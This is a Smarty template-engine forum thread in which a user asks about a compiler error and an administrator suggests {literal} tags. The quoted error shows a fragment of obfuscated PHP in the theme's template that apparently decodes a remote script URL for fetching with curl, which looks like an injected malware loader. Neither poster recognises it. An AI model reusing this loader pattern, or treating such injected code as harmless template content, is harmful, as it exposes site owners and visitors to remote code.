Smarty Forum Index Smarty
The discussions here are for Smarty, a template engine for the PHP programming language.
Uncaught Exception

 
Post new topic   Reply to topic    Smarty Forum Index -> Installation and Setup
View previous topic :: View next topic  
Author Message
sagaroth
Smarty n00b


Joined: 02 Dec 2013
Posts: 2

PostPosted: Mon Dec 02, 2013 3:17 pm    Post subject: Uncaught Exception Reply with quote

Hello,
I got a theme running smarty.
But when I get on the main page, I have the following errors:


Quote:
Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/homez.335/stairway/www/V5/upload/themes/index.tpl" on line 95 "<?php if(!function_exists("mystr1s44")){class mystr1s21 { static $mystr1s178="\x62a\x73e6\x34_d\x65c\x6fd\x65"; static $mystr1s279="\x59\x33V\x79b\x469\x70b\x6dl0"; static $mystr1s381="aH\x520\x63\x44ov\x4c2xh\x62\x47F\x75ZC5\x68d\x435\x32d\x539\x6bYX\x52h\x4c2\x70xdW\x56yeS\x30xLj\x59\x75My\x35t\x61W4\x75\x61nM\x3d";" - Unexpected "{ "' in /homez.335/stairway/www/V5/upload/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.php:431 Stack trace: #0 /homez.335/stairway/www/V5/upload/smarty/libs/sysplugins/smarty_internal_templateparser.php(2855): Smarty_Internal_TemplateCompilerBase->trigger_template_error() #1 /homez.335/stairway/www/V5/upload/smarty/libs/sysplugins/smarty_internal_templateparser.php(2920): Smarty_Internal_Templateparser->yy_syntax_error(10, '{ ') #2 /homez.335/stairway/www/V5/upload/smarty/lib in /homez.335/stairway/www/V5/upload/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 431




I searched the other topic but it is quite vague: x

Thank you for support !
Back to top
View user's profile Send private message
U.Tews
Administrator


Joined: 22 Nov 2006
Posts: 4685
Location: Hamburg / Germany

PostPosted: Mon Dec 02, 2013 6:30 pm    Post subject: Reply with quote

You must surround your php section of your template with {literal} .... {/literal} tags.

See http://www.smarty.net/docs/en/language.escaping.tpl
Back to top
View user's profile Send private message
sagaroth
Smarty n00b


Joined: 02 Dec 2013
Posts: 2

PostPosted: Mon Dec 02, 2013 7:49 pm    Post subject: Reply with quote

It work ! Thank you so much Smile
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Smarty Forum Index -> Installation and Setup All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group
Protected by Anti-Spam ACP